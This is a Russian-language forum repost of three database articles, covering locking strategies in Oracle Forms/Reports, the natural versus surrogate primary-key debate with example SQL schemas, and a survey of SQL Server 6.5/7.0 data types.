Литература Статьи по SQL

ddd · 12 сен 2007

Статья: Три полезнЫх способа блокировки
Автор: Кейт МакЛеод
Источник: emanual.ru

Когда два и более процессов должны последовательно работать с одними и теми же данными, например, два следующих одно за другим в одной программе SQL-предложения, таких как SELECT и UPDATE, то защита данных срабатывает в двух случаях: другие программы INSERT-ируют дополнительные данные или производят другие изменения, влияющие только на успешное выполнение предложений/процессов, а также при повторном запуске вашей же собственной программы. (Только, пожалуйста, не говорите мне, что этого не может быть.) Последнее – это подслучай разработчика, который надо понимать как особый случай. В каждом разе обоими процессами используется одна и та же блокировка, однако Reports Queries в палитре свойств не поддерживает атрибут FOR UPDATE.

Существует три основных способа решения этой проблемы: заблокировать таблицу и отругать пользователя (lock the table and damn the user ), использовать временную таблицу(ы) или использовать конструкцию SELECT FOR UPDATE-UPDATE-COMMIT. Какой из них лучше, зависит от обстоятельств; каждый предоставляет богатые возможности для такого излюбленного тактического отклонения, как Cascading Except-For.

Способ 1
LOCK TABLE...EXCLUSIVE - наиболее простое и легко выполнимое решение до тех пор, пока кто-нибудь по ошибке не выполнит COMMIT. Оно прекрасно подходит для ночной работы в тех системах, которые не рассчитаны на их использование в другое время, в системах, которые работают со слишком маленькими таблицами и выполняют краткосрочные задачи, или в небольших приложениях, когда необходимо два раза в месяц Зарегистрировать Заказы.

Один из возможных примеров: форма (Forms) выполняет LOCK TABLE, вызывает отчет (Report) (RUN_PRODUCT), а затем выполняет UPDATE и COMMIT. В этом случае должны быть выполнены два условия:

Form и Report должны использовать одну и ту же транзакцию. В Windows 3.1 это происходит по умолчанию, а в Windows 95 не поддерживается. (В документации указано, что оба системных параметра Reports, BATCH и BACKGROUND, должны быть установлены в значение "No".)

В отчете не должна выполняться команда COMMIT. Откуда программа Forms может знать, что в вызванном отчете это не происходит и можно спокойно выполнять обновление? Так как Reports Server недоступен для Forms и RUN_PRODUCT не возвращает никаких значений, то Report обязан сам ВСТАВЛЯТЬ строки "begin" и "end" в некую журнальную таблицу, предназначенную специально для этого. Форма просматривает ее перед тем, как продолжить работу. Такая таблица очень полезна для слежения за процессом. (Слышали, должно быть, что-то типа "Оператор клянется, что она выполняла только Preview!"?) Любая программа должна где-то регистрировать свой запуск, записывать свои параметры и еще хоть что-нибудь писать в журнал аудита.

Способ 2
Второй способ - это сделанная наспех версия первого: CREATE TABLE temp, LOCK TABLE source (или желательно, для большей наглядности, SELECT...FOR UPDATE), INSERT INTO temp FROM source, UPDATE source с таким же условием WHERE, как в INSERT, и COMMIT. Необходимые данные благополучно остаются сохраненными отдельно, а существующие данные соответствуют их измененному состоянию. Это можно осуществить с помощью хранимой процедуры, вызываемой из внешней программы, которая затем вызовет выполнение Report(s) над временной таблицей(ами). Отчеты могут делать с временными таблицами все, что им хочется, пока хранимая процедура не удостоверится, что они созданы так, как требуется.

В этом случае существует несколько потенциальных трудностей: задание временной таблице уникального имени, которое можно генерировать из ПОСЛЕДОВАТЕЛЬНОСТИ (SEQUENCE); размер имени, которое должно быть длиной не более 30 символов; надежность передачи имени временной таблицы только что запущенному экземпляру процесса; знание внешней программой, что процедура завершилась до вызова отчетов (см. выше). А также очистка временной таблицы после того, как подтвердится, что все необходимые действия с ее данными выполнены. У этого способа другие операционные запросы, но только он создает процессы, выполняющие их собственные соединения и поэтому использующие разные транзакции.

Способ 3
Это самый изящный способ, а это означает, что его также труднее всего поддерживать. (Вы знаете и других программистов, работающих над этим, которые моложе вас – но даже вам не всегда хватает опыта.) Он полезен только тогда, когда подмножество набора данных обрабатывается за один раз (суммируется, подсчитывается или обновляется), но не тогда, когда весь набор данных должен обрабатываться дважды, в этом случае вы возвращаетесь к блокировке таблицы, несмотря на использование SELECT...FOR UPDATE. Если во время работы процесса подмножество данных обрабатывается за один раз, то это решение использует самую быструю, наиболее отличающуюся от других схему блокировки.

Предположим, что ваша компания занимается торговлей и составляет отчеты по Заказам (Retailer’s Orders). Вы должны одновременно следить за курсом доллара всех Заказов (Retailer’s Orders) и изменять журнал регистрации Дебиторов (Receivables) каждого Продавца (Retailer) на такое же значение, как в отчете. В отчете первый запрос выполняется к таблице Продавцов; второй – к таблице Заказов. Первый запрос и группа возвращают только ID Продавца (и адрес или что-либо еще). SELECT...FOR UPDATE необходимо использовать для всех Заказов, которые попадают в заданный фильтр группы (фильтр группы можно задать в палитре свойств). Он срабатывает при возвращении каждой строки таблицы Продавцов и перед ее форматированием. Форматный фильтр для поля Общее Число Заказов (форматный фильтр можно задать в палитре свойств поля) может содержать оба предложения, и UPDATE, и COMMIT. Предполагается, что источник для этого поля – это столбец Сумма (Summary), определенный в группе Заказ (Order), и значение которого печатается и обнуляется только в конце каждого Заказа.

Можно было бы описать и другие проблемы проектирования и их решения, но эта статья - не докторская диссертация. Самая существенная из проблем проектирования - это необходимость перемещения данных из одной таблицы в другую, так как при этом изменяется статус таблиц. (Только в одной из программ необходимо для каждой группы строк выполнить SELECT...FOR UPDATE, INSERT таблица_назначения, DELETE исходная_таблица и COMMIT.) В простейшей форме можно, например, создать таблицу Заказов и таблицу Обработанных заказов вместо того, чтобы обновлять Заказы, изменяя столбец "Обработан", или по одной таблице для каждого состояния, в котором может находиться заказ. (Некоторые борцы за чистоту стиля подтверждают, что в этом случае не будет выполняться предложение UPDATE.)

Несмотря на то, что этот способ сокращает число проблем (и создает свои собственные затруднения), это гибрид 2 и 3 способа. До тех пор, пока необходимо выполнять последовательные процессы на одних и тех же данных, будут ли это две программы, два запроса в одной программе или SELECT и UPDATE, вы будете сталкиваться с одной и той же проблемой: отделение набора данных от всех других процессов и применение различный видов этих трех способов для его выполнения.
Нажмите, чтобы раскрыть...

Статья: ЕстественнЫе ключи против искусственнЫх ключей
Автор: Тенцер А. Л.
Данная статья излагает взгляд автора на проблему, регулярно обсуждающуюся в группах новостей, посвящённых разработке приложений с использованием РСУБД.

О сущности проблемы
Каждая запись в таблице, входящей в РСУБД, должна иметь первичный ключ (ПК) - набор атрибутов, уникально идентифицирующий её в таблице. Случай, когда таблица не имеет первичного ключа, имеет право на существование, однако в данной статье не рассматривается.

В качестве первичного ключа может использоваться -
Естественный Ключ (ЕК) - набор атрибутов описываемой записью сущности, уникально её идентифицирующий (например, номер паспорта для человека);
или
Суррогатный Ключ (СК) - автоматически сгенерированное поле, никак не связанное с информационным содержанием записи. Обычно в роли СК выступает автоинкрементное поле типа INTEGER.

Есть два мнения:

СК должны использоваться, только если ЕК не существует. Если же ЕК существует, то идентификация записи внутри БД осуществляется по имеющемуся ЕК;

СК должны добавляться в любую таблицу, на которую существуют ссылки (REFERENCES) из других таблиц, и связи между ними должны организовываться только при помощи СК. Разумеется, поиск записи и представление её пользователю по прежнему производятся на основании ЕК.

Естественно, можно представить себе и некое промежуточное мнение, но сейчас дискуссия ведётся в рамках двух вышеизложенных.

Когда появляются СК
Для понимания места и значения СК рассмотрим этап проектирования, на котором они вводятся в структуру БД, и методику их введения.

Для ясности рассмотрим БД из 2-х отношений - Города (City) и Люди (People) Предполагаем, что город характеризуется Hазванием (Name), все города имеют разные названия, человек характеризуется Фамилией (Family), номером паспорта (Passport) и городом проживания (City). Также полагаем, что каждый человек имеет уникальный номер паспорта. Hа этапе составления инфологической модели БД её структура одинакова и для ЕК и для СК.
Код:
   CREATE TABLE City(
Name VARCHAR(30) NOT NULL PRIMARY  KEY
);

CREATE TABLE People(
Passport CHAR(9) NOT NULL PRIMARY  KEY,
Family VARCHAR(20) NOT NULL,
City VARCHAR(30) NOT NULL REFERENCES  City(Name)
);  
Для ЕК все готово. Для СК делаем еще один этап и преобразуем таблицы следующим образом:
Код:
    CREATE TABLE City(
/*
В разных диалектах языка SQL автоинкрементное  поле будет выражено по-разному -
например, через IDENTITY, SEQUENCE или  GENERATOR.
Здесь мы используем условное обозначение  AUTOINCREMENT.
*/
Id INT NOT NULL AUTOINCREMENT PRIMARY KEY
Name  VARCHAR(30) NOT NULL UNIQUE
);

CREATE TABLE People(
Id INT NOT NULL  AUTOINCREMENT PRIMARY KEY,
Passport CHAR(9) NOT NULL UNIQUE,
Family  VARCHAR(20) NOT NULL,
CityId INT NOT NULL REFERENCES City(Id)
);  
Обращаю внимание, что:

Все условия, диктуемые предметной областью (уникальность имени города и номера паспорта) продолжают присутствовать в БД, только обеспечиваются не условием PRIMARY KEY, а условием UNIQUE;

Ключевого слова AUTOINCREMENT ни в одном из известных мне серверов нет. Это просто обозначение, что поле генерируется автоматически.

В общем случае алгоритм добавления СК выглядит следующим образом:

В таблицу добавляется поле INTEGER AUTOINCREMENT;

Оно объявляется PRIMARY KEY;

Старый PRIMARY KEY (ЕК) заменяется на UNIQUE CONSTRAINT ;

Если в таблице есть REFERENCES на другие таблицы, то поля, входящие в REFERENCES, заменяются на одно поле типа INTEGER, составляющее первичный ключ (как People.City заменена на People.CityId).

Это механическая операция, которая никак не нарушает инфологической модели и целостности данных. С точки зрения инфологической модели эти две базы данных эквивалентны.

Зачем всё это надо
Возникает резонный вопрос - а зачем? Действительно, вводить в таблицы какие-то поля, что-то заменять, зачем? Итак, что мы получаем, проделав эту "механическую" операцию.

Упрощение сопровождения
Это область, где СК демонстрируют наибольшие преимущества. Поскольку операции связи между таблицами отделены от логики "внутри таблиц" - и то и другое можно менять независимо и не затрагивая остального.

Hапример - выяснилось, что города имеют дублирующиеся названия. Решено ввести в City еще одно поле - Регион (Region) и сделать ПК (City, Region). В случае ЕК - изменяется таблица City, изменяется таблица People - добавляется поле Region (да, да, для всех записей, про размеры молчу), переписываются все запросы, в том числе на клиентах, в которых участвует City, в них добавляются строка AND XXX.Region = City.Region.

Да, чуть не забыл, большинство серверов сильно не любят ALTER TABLE на поля, входящие в PRIMARY KEY и FOREIGN KEY.

В случае СК - добавляется поле в City, изменяется UNIQUE CONSTRAINT. Всё.

Еще пример - в случае СК изменение списка полей в SELECT никогда не заставляет переписывать JOIN. В случае ЕК - добавилось поле, не входящее в ПК связанной таблицы - переписывайте.

Еще пример - поменялся тип данных поля, входящего в ЕК. И опять переделки кучи таблиц, заново оптимизация индексов...

В условиях меняющегося законодательства это достоинство СК само по себе достаточно для их использования.

Уменьшение размера БД
Предположим в нашем примере, что средняя длина названия города - 10 байт. Тогда на каждого человека в среднем будет приходиться 10 байт для хранения ссылки на город (реально несколько больше за счёт служебной информации на VARCHAR и гораздо больше за счёт индекса по People.City, который придётся построить, чтобы REFERENCES работала эффективно). В случае СК - 4 байта. Экономия - минимум 6 байт на человека, приблизительно 10 Мб для г. Hовосибирска. Очевидно, что в большинстве случаев уменьшение размера БД - не самоцель, но это, очевидно, приведет и к росту быстродействия.

Звучали аргументы, что БД может сама оптимизировать хранение ЕК, подставив вместо него в People некую хэш-функцию (фактически создав СК сама). Hо ни один из реально существующих коммерческих серверов БД так не делает, и есть основания полагать, что и не будет делать. Простейшим обоснованием такого мнения является то, что при подобной подстановке банальные операторы ADD CONSTRAINT … FOREIGN KEY или DROP CONSTRAINT … FOREIGN KEY будут приводить к нешуточной перетряске таблиц, с ощутимым изменением всей БД (надо будет физически добавить или удалить (с заменой на хэш-функцию)) все поля, входящие в CONSTRAINT.

Увеличение скорости выборки данных
Вопрос достаточно спорный, однако, исходя из предположений, что:

База данных нормализована;

Записей в таблицах много (десятки тысяч и более);

Запросы преимущественно возвращают ограниченные наборы данных (максимум единицы процентов от размера таблицы).

быстродействие системы на СК будет ощутимо выше. И вот почему:

ЕК могут потенциально дать более высокое быстродействие, когда:

Требуется только информация, входящая в первичные ключи связанных таблиц;

нет условий WHERE по полям связанных таблиц.

Т.е., в нашем примере это запрос типа:
Код:
    SELECT Family, City FROM People;  
В случае СК этот запрос будет выглядеть как
Код:
    SELECT P.Family, C.Name  FROM People P INNER JOIN City C ON P.CityId =  C.Id;  
Казалось бы, ЕК дает более простой запрос с меньшим количеством таблиц, который выполнится быстрее. Hо и тут не всё так просто: размеры таблиц для ЕК - больше (см. выше) и дисковая активность легко съест преимущество, полученное за счёт отсутствия JOIN`а. Ещё сильнее это скажется, если при выборке данных используется их фильтрование (а при сколько-либо существенном объеме таблиц оно используется обязательно). Дело в том, что поиск, как правило, осуществляется по информативным полям типа CHAR, DATETIME и т.п. Поэтому часто бывает быстрее найти в справочной таблице набор значений, ограничивающий возвращаемый запросом результат, а затем путем JOIN`а по быстрому INTEGER-индексу отобрать подходящие записи из большой таблицы. Например:
Код:
    (ЕК) SELECT Family, City FROM People WHERE City = 'Иваново';  
будет выполняться в разы медленнее, чем
Код:
    (CК) SELECT P.Family, C.Name
      FROM People P INNER JOIN City C ON  P.CityId = C.Id
     WHERE C.Name = 'Иваново';  
В случае ЕК - будет INDEX SCAN большой таблицы People по CHARACTER-индексу. В случае СК - INDEX SCAN меньшей CITY и JOIN по эффективному INTEGER индексу.

А вот если заменить = 'Иваново' на LIKE '%ваново', то речь пойдет о торможении ЕК относительно СК на порядок и более.

Аналогично, как только в случае с ЕК понадобится включить в запрос поле из City, не входящее в её первичный ключ - JOIN будет осуществлятся по медленному индексу и быстродействие упадет ощутимо ниже уровня СК. Выводы каждый может делать сам, но пусть он вспомнит, какой процент от общего числа его запросов составляют SELECT * FROM ЕдинственнаяТаблица. У меня - ничтожно малый.

Да, сторонники ЕК любят проводить в качестве достоинства "информативность таблиц", которая в случае ЕК растет. Ещё раз повторю, что максимальной информативностью обладает таблица, содержащая всю БД в виде flat-file. Любое "повышение информативности таблиц" есть увеличение степени дублирования в них информации, что не есть хорошо.

Увеличение скорости обновления данных
INSERT

Hа первый взгляд ЕК быстрее - не надо при INSERT генерировать лишнего поля и проверять его уникальность. В общем-то так оно и есть, хотя это замедление проявляется только при очень высокой интенсивности транзакций. Впрочем и это неочевидно, т.к. некоторые серверы оптимизируют вставку записей, если по ключевому полю построен монотонно возрастающий CLUSTERED индекс. В случае СК это элементарно, в случае ЕК - увы, обычно недостижимо. Кроме этого, INSERT в таблицу на стороне MANY (который происходит чаще) пойдет быстрее, т.к. REFERENCES будут проверяться по более быстрому индексу.

UPDATE

При обновлении поля, входящего в ЕК, придётся каскадно обновить и все связанные таблицы. Так, переименование Ленинграда в Санкт-Петербург потребует с нашем примере транзакции на несколько миллионов записей. Обновление любого атрибута в системе с СК приведет к обновлению только одной записи. Очевидно, что в случае распределенной системы, наличия архивов и т.п. ситуация только усугубится. Если обновляются поля не входящие в ЕК – быстродействие будет почти одинаковым.

Еще о CASCADE UPDATE

Далеко не все серверы БД поддерживают их на декларативном уровне. Аргументы "это у вас сервер кривой" в этом случае вряд ли корректны. Это вынуждает писать отдельную логику для обновления, что не всегда просто (приводился хороший пример - при отсутствии CASCADE UPDATE обновить поле, на которое есть ссылки, вообще невозможно - надо отключать REFERENCES или создавать копию записи, что не всегда допустимо (другие поля могут быть UNIQUE)).

DELETE

В случае СК будет выполняться быстрее, по той простой причине, что проверка REFERENCES пойдет по быстрому индексу.

А есть ли хорошие ЕК?
Hичто не вечно под Луной. Самый, казалось бы, надежный атрибут вдруг отменяется и перестаёт быть уникальным (далеко ходить не буду - рубль обычный и рубль деноминированный, примерам несть числа). Американцы ругаются на неуникальность номера социального страхования, Microsoft - на китайские серые сетевые платы с дублирующимися MAC-адресами, которые могут привести к дублированию GUID, врачи делают операции по смене пола, а биологи клонируют животных. В этих условиях (и учитывая закон неубывания энтропии) закладывать в систему тезис о неизменности ЕК - закладывать под себя мину. Их надо выделять в отдельный логический слой и по возможности изолировать от остальной информации. Так их изменение переживается куда легче. Да и вообще: однозначно ассоциировать сущность с каким-то из атрибутов этой сущности - ну, странно, что-ли. Hомер паспорта ещё не есть человек. СК же - это некая субстанция, именно и означающая сущность. Именно сущность, а не какой-то из её атрибутов.

Типичные аргументы сторонников ЕК
В системе с СК не осуществляется контроль правильности ввода информации

Это не так. Контроль не осуществлялся бы, если бы на поля, входящие в ЕК не было наложено ограничение уникальности. Очевидно, что если предметная область диктует какие-то ограничения на атрибуты ЕК, то они будут отражены в БД в любом случае.

В системе с ЕК меньше JOIN`ов, следовательно, запросы проще и разработка удобнее

Да, меньше. Hо, в системе с СК тривиально пишется:
Код:
    CREATE VIEW PeopleEK AS
 SELECT P.Family, P.Passport, C.Name
 FROM  People P INNER JOIN City C ON P.CityId = C.Id  
И можно иметь все те же прелести. С более, правда, высоким быстродействием. При этом неплохо упомянуть, что в случае ЕК многим придется программировать каскадные операции, и, не дай Бог в распределённой среде, бороться с проблемами быстродействия. Hа фоне этого "короткие" запросы уже не кажутся столь привлекательными.

Введение СК нарушает третью нормальную форму

Вспомним определение: Таблица находится в третьей нормальной форме (3НФ), если она удовлетворяет определению 2НФ, и ни одно из её неключевых полей не зависит функционально от любого другого неключевого поля.

То есть, речи о ключевых полях там не идёт вообще. Поэтому добавление ещё одного ключа в таблицу ни в коей мере не может нарушить 3НФ. Вообще, для таблицы с несколькими возможными ключами имеет смысл говорить не о 3 НФ, а о Нормальной Форме Бойса-Кодда, которая специально введена для таких таблиц.

Итак: Таблица находится в нормальной форме Бойса-Кодда (НФБК), если и только если любая функциональная зависимость между его полями сводится к полной функциональной зависимости от возможного ключа.

Таким образом, таблица, имеющая СК, легко может быть нормализована хоть до 5НФ. Точнее будет сказать, что СК к нормализации не имеют никакого отношения. Более того, введение СК уменьшает избыточность данных в БД, что вообще хорошо согласуется с идеологией нормализации. В сущности, нормализация и есть уменьшение информативности отдельных таблиц по определенным правилам. Только СК устраняют аномалии не внутри таблицы, а на межтабличном уровне (типа устранения каскадных обновлений). Так сказать, система с СК - святее Папы Римского :-). В самом деле – ситуация, когда при изменении одного из полей таблицы приходится изменять содержимое этого же поля в других записях ЭТОЙ ЖЕ таблицы, рассматривается как аномалия обновления. Но в системе с ЕК придется проделать то же самое В СВЯЗАННОЙ таблице при изменении ключевого атрибута на стороне 1 отношения 1:N. Очевидно, что эта ситуация с точки зрения физической реализации БД ничем не лучше. В системе с СК таких ситуаций не возникает.
Таблицы в системе с ЕК информативнее

Максимальной информативностью обладает таблица, содержащая всю БД в виде flat-file. Любое "повышение информативности таблиц" есть увеличение степени дублирования в них информации, что не обязательно есть хорошо. Да и вообще термин "Информативность таблицы" сомнителен. Видимо, более важна информативность БД, которая в обоих случаях одинакова.

Заключение
В общем-то, выводы очевидны – введение СК позволяет получить лучше управляемую, более компактную и быстродействующую БД. Разумеется, это не панацея. В некоторых случаях (например, таблица на которую нет REFERENCES и в которую осуществляется интенсивная вставка данных и т.п.) более верно использовать ЕК или не использовать ПК вообще (последнее категорически противопоказано для многих РСУБД и средств разработки клиентских приложений). Но речь шла именно о типовой методике, которую надо рекомендовать к применению в общем случае. Уникальные ситуации могут потребовать уникальных же решений (иногда и нормализацией приходится поступаться).
Нажмите, чтобы раскрыть...

ddd · 13 сен 2007

Статья: Подробно о типах данных
Автор: Майкл Рейли
Источник: osp.ru
Правильный выбор типов данных - важный этап проектирования таблиц
В следующих выпусках рубрики "T-SQL для начинающих" будет рассказано о применении синтаксиса T-SQL для построения таблиц. Но прежде чем начинать строить таблицы, необходимо поговорить о типах данных. Для каждого столбца таблицы должен быть определен некоторый тип данных, например, целые (integer) или символьные (character). Это позволяет системе в последующем контролировать данные, которые будут помещаться в этот столбец. В предлагаемой статье автор рассматривает предусмотренные в системе типы данных и рассказывает о том, как создавать собственные типы данных. Подобные дополнительные типы данных следует создать до того как начнется построение таблиц, ведь при создании таблиц могут понадобиться ссылки на эти типы данных. Определяемые пользователями типы данных позволят существенно усилить контроль над данными и повысить их целостность, особенно в проектах, в которых с базами данных параллельно работают несколько разработчиков.

Столбцам необходимы типы данных
При создании таблицы необходимо указать тип данных для каждого столбца. Любые данные, помещаемые в столбец, должны отвечать этому типу данных. В некоторых случаях следует указывать и допустимую длину данных в столбце. В листинге 1 приведен оператор SQL, который создает таблицу авторов Authors в базе данных публикаций Pubs, спользуя только предусмотренные в системе типы данных.

Большинство столбцов в этой таблице являются текстовыми полями. Номер телефона, обозначение штата и почтовый индекс всегда имеют постоянную длину, поэтому соответствующие им столбцы phone, state и ZIP удобнее объявить символьными (char). Имя автора, его адрес и город, где он живет, могут различаться по длине, поэтому для них предпочтительнее использовать тип символьных данных переменной длины (varchar). Столбец contract с информацией о наличии контракта с автором, в котором данные представляются в форме да/нет, целесообразно отнести к двоичному типу данных bit, у которого имеется два возможных значения - 0 и 1. Теперь остановимся подробнее на системных типах данных.

Типы данных, предусмотренные в системе
В версии SQL Server 6.0 определено 19 типов данных, а в версии SQL Server 7.0 добавлено еще 4 типа для удобства работы с закодированными с помощью Unicode данными, а также для поддержки приложений, основанных на использовании хранилищ данных. Каждый тип данных имеет ряд разновидностей, отличающихся возможным набором значений. Знание этих значений облегчит выбор подходящего типа данных.

Символьные данные
Символьные данные типа char предсавляют собой один из наиболее распространенных типов данных. К этому типу относятся такие символьные данные, как имена или адреса. В версии SQL Server 6.5 длина любого столбца с символьными данными ограничивалась 255 знаками. Если же информация оказывалась длиннее, к примеру, если в столбец предполагалось вводить свободный комментарий по поводу контракта, то тогда следовало использовать текстовый тип данных (text). В SQL Server 7.0 это ограничение отменено, так что символьное поле может содержать до 8000 байтов. Верхняя граница обусловлена размером страницы памяти, поскольку ни одна запись не может располагаться в памяти на нескольких страницах. В тех случаях, когда для столбца определен тип данных char, данные следует помещать в одинарных кавычках, как показано в следующем примере:
Код:
    UPDATE.....
SET.....
WHERE.....  
Как отмечалось в статье "Работа с символьными данными", помещенной в майском номере журнала, можно выбрать символьный тип данных либо фиксированной длины, char, либо переменной длины, varchar. Фиксированный размер оказывается предпочтительным в тех случаях, когда данные имеют одинаковую или сходную длину, например, при вводе идентификатора автора (часто в этом качестве используют индивидуальный номер системы социальной безопасности, что, кстати, является плохим примером для подражания). В большинстве ситуаций применение переменной длины данных не приводит к сколько-нибудь заметному увеличению времени обработки. В то же время фамилия автора может быть очень длинной, так что использование типа varchar оказывается вполне оправданным. Применительно к подавляющему большинству фамилий фиксированная длина поля означает потерю значительного объема памяти, поэтому лучше использовать тип данных varchar. При выборе того или иного типа данных всегда следует искать компромисс с учетом двух аспектов: с одной стороны, потери полезного объема памяти при использовании данных фиксированной длины, а с другой стороны, увеличения времени обработки в случае применения данных переменной длины.

SQL Server 7.0 поддерживает набор символов Unicode. В связи с этим, чтобы воспользоваться всеми преимуществами, предоставляемыми расширенными возможностями Unicode, необходимо было ввести дополнительный тип данных.Если вам захочется использовать символьные данные Unicode, то следует указать тип данных Nchar или, если это информация переменной длины, то Nvarchar. При вводе данных Unicode их следует заключать в одиночные кавычки, причем непосредственно перед ними необходимо поставить заглавную латинскую букву N. Если в рассмотренном ранее примере имя автора отнесено к типу данных Unicode, то предыдущий оператор обновления примет следующий вид:
Код:
    UPDATE.....
SET.....
WHERE.....  
Ограничение максимальной длины информации при работе с типом данных Unicode составляет 4000 знаков. Это объясняется тем, что для хранения каждого символа Unicode требуется два байта памяти. Поэтому на стандартную страницу памяти размером 8К можно поместить в два раза меньше символов Unicode, чем при использовании обычных символов.

Целые
Базовый тип целых чисел integer охватывает диапазон от -2 147 483 638 до 2 147 483 647. Уменьшенные целые smallint включают числа от -32 768 до 32767. Зачастую, когда точно известно, что диапазон возможных числовых значений данных невелик, лучше применять тип данных smallint. К примеру, в базе данных личной коллекции компакт-дисков при выборе типа данных для первичного ключа целесообразно использовать тип данных smallint. Ведь предположение о том, что число компакт-дисков в такой коллекции превысит 32 676 единиц, кажется неправдоподобным. В этой ситуации не следует для оптимизации памяти использовать тип данных tinyint, поскольку он позволяет обрабатывать только значения от 0 до 255. Такой тип данных можно было бы применить для нумерации депозитных сертификатов, а для коллекции компакт-дисков он может оказаться недостаточным.

Точные числовые данные
Если приложение таково, что необходимо получать из базы данных числовое значение в строго указанном формате, то для этого следует выбрать один из точных числовых типов данных. Существуют два точных числовых типа данных: десятичный (decimal) и числовой (numeric), которые по существу совпадают друг с другом. Для них можно задать требуемые точность p и масштаб s в формате decimal (p,s). Точность представляет собой число значащих символов по обе стороны от десятичной запятой, а масштаб - количество символов справа от нее. Например, число 123,4567 можно хранить в столбце, для которого тип данных задан в виде (7,4). Если число, которое должно быть помещено в столбец с точным числовым типом данных, содержит больше десятичных знаков, чем указано в типе данных, то такое число округляется до требуемой точности. Числовые типы данных могут использовать для хранения значений от 2 до 17 байтов.

Приближенные числовые данные
Некоторые числа нельзя точно представить в десятичном виде с ограниченным числом знаков, например, одну треть или число пи. Для записи таких чисел используются действительный (real) или плавающий (float) типы данных. Данные действительного типа хранятся с точностью от 1 до 7 знаков. Плавающий формат, который иногда называют еще форматом двойной точности, может хранить числа, содержащие от 8 до 15 значащих цифр. Действительный и плавающий типы данных применяются в научных приложениях для хранения чисел, не требующих точного двоичного выражения. Одна-две последние цифры могут не вполне точно сохраняться при преобразованиях в двоичный формат. Поэтому такие числа не следует использовать в операциях точного сравнения, применяемых для формулирования условий оборота WHERE.

Двоичные
Предположим, что в базе данных необходимо хранить двоичную информацию. В этой ситуации имеется выбор между двумя форматами представления: c фиксированной или переменной длиной. Данным фиксированной длины соответствует тип данных binary, а двоичным данным переменной длины соответствует тип данных varbinary.

Денежные
Для представления денежных значений используются два типа данных: денежный (money) и малый денежный (smallmoney). Тип данных денежный применяется для хранения значений от плюс до минус 922 триллионов. Большинство из нас вполне может пользоваться малым денежным типом данных, который перекрывает диапазон значений от -214 748,3648 до +214 748,3647. По существующей договоренности денежный тип данных при хранении имеет четыре десятичных знака после запятой, а для его представления пользователям требуется только два знака . Отметим, что многие финансовые транзакции не используют денежный тип данных. Например, в биржевыех торговых операциях применяются 1/32 доли, для хранения которых необходимо пять десятичных мест.

Даты
В SQL Server и дата и время хранятся в одном столбце, так что если с помощью функции GETDATE() запросить текущую дату, то при этом система сообщит и время. Для дат применяются два типа данных, datetime и smalldatetime. Тип данных smalldatetime охватывает период времени от 1 января 1900 года до 6 июня 2079 года и включает время с точностью до минуты. Такого диапазона достаточно для подавляющего большинства проектов. Тип данных datetime годен для использования до 31 декабря 9999 года (это следует учитывать при решении проблемы 10К года). Начало диапазона этого типа данных датируется 1 января 1753 года. Почему 1753? Это связано с переходом с юлианского на грегорианский календарь. Несмотря на то, что грегорианский календарь был предложен некоторое время назад, процесс его принятия продолжался в течение приблизительно 30 лет. На протяжении этого периода некоторые страны уже приняли грегорианский, а другие еще нет. Поэтому для того, чтобы дата воспринималась однозначно, надо знать географическое положение объекта. Кроме того, год начинался не 1 января, а 1 марта. Поэтому такая дата, как 15 января 1792 года, может интерпретироваться и как середина первого месяца 1492 года, и как середина 11-го месяца 1793 года. Создатели SQL Server решили не рисковать, и поэтому приняли решение не воспринимать даты, относящиеся к периоду времени до начала 1753 года. Следует отметить также, что тип данных datetime показывает тысячные доли секунды, хотя точность гарантируется только до 1/300 части секунды.

Тексты и образы
Для символьных данных длиннее, чем 255 знаков, в SQL Server 6.5 следует применять тип данных текст (text). В SQL Server 7.0 граница применимости этого типа данных отодвигается до 8000 знаков. Для больших двоичных объектов (BLOB), таких как цифровые образы, используется тип данных образ (image). ?анные типа текст или образ не хранятся в строках, поэтому к ним не применимо ограничение на размер страницы памяти. В строках хранятся лишь указатели на страницы базы данных, в которых находится информация. Для обновления этих типов данных необходимы специальные процедуры, которые выходят за рамки рассмотрения настоящей статьи. (Более подробно об этом написано в статье Майкла Оути "Нам не страшен огромный BLOB", опубликованной в апрельском номере журнала.) Здесь необходимо отметить только то, что изменения текстовых данных или образов не фиксируются в журнале, а указатели не обновляются. Изменяются только сами поля, содержащие текст или образ.

Специальные типы данных
Некоторые типы данных трудно отнести к какой-либо категории. Один из таких типов - битовые данные (bit). Это целое число, которое может принимать только два значения - 0 и 1 (в одном байте можно хранить восемь подобных величин). Битовые значения часто применяются в качестве флагов, принимающих значения истина или ложь. Их можно использовать, например, для хранения сведений о том, заключен ли контракт с автором, или принадлежат ли его книги к бестселлерам, или для чего-либо аналогичного. Одно незначительнгое отличие версии SQL Server 7.0 состоит в том, что для столбцов с битовыми данными теперь разрешены и неопределенные значения, в то время как в версии SQL Server 6.5 допустимы были только значения 0 и 1.

Для внутренних целей в SQL Server используется тип данных метка времени (timestamp). Этот тип данных генерирует уникальное значение, которое обновляется каждый раз, когда модифицируется информация в строке таблицы. Метки времени являются внутренними значениями, поддерживаемыми в SQL Server. Они не соответствуют реальным датам и времени.

В SQL Server 7.0 введены два новых типа данных, которые более подробно будут рассмотрены в последующих публикациях. тип данных уникальный идентификатор (uniqueidentifier) позволяет присвоить столбцу уникальное в глобальном масштабе значение. Глобальная уникальность означает неповторимость не только в рамках конкретной базы данных или в пределах одного компьютера, но вообще везде. Этот тип данных играет важную роль при работе с хранилищами данных, когда информация собирается в него из множества разнообразных источников. Тип данных курсор (cursor) применяется для переменных курсора. Использование курсора - отдельная большая тема, которой автор собирается посвятить целую статью.

Определяемые пользователями типы данных
SQL Server позволяет пользователям определять собственные типы данных, которые являются комбинацией системных типов данных. Как правило, они базируются на системном типе данных определенной длины (имеются в виду числовые и символьные значения), для которого назначаются правила и значения по умолчанию. Например, можно определить тип данных Почтовый индекс как char(10), а тип данных Телефонный номер как char(14). Тогда тип данных Почтовый индекс будет гарантировать целостность форматов почтовых индексов во всех столбцах, для любого клиента, поставщика, служащего или контактного лица где угодно по всему миру.

Но в тех случаях, когда пользователь хочет создать тип данных, имея лишь набросок желаемого, SQL Server оказывается не слишком полезным. К примеру, нельзя создать новый тип данных, обладающий целым набором связанных с ним свойств, для таких понятий как широта или долгота для географических приложений. Ведь для него пришлось бы прибегнуть к методам сферической тригонометрии для вычисления расстояния между двумя точками. Возможно, когда-нибудь SQL Server станет настолько гибким, что сможет помочь и в таких ситуациях.

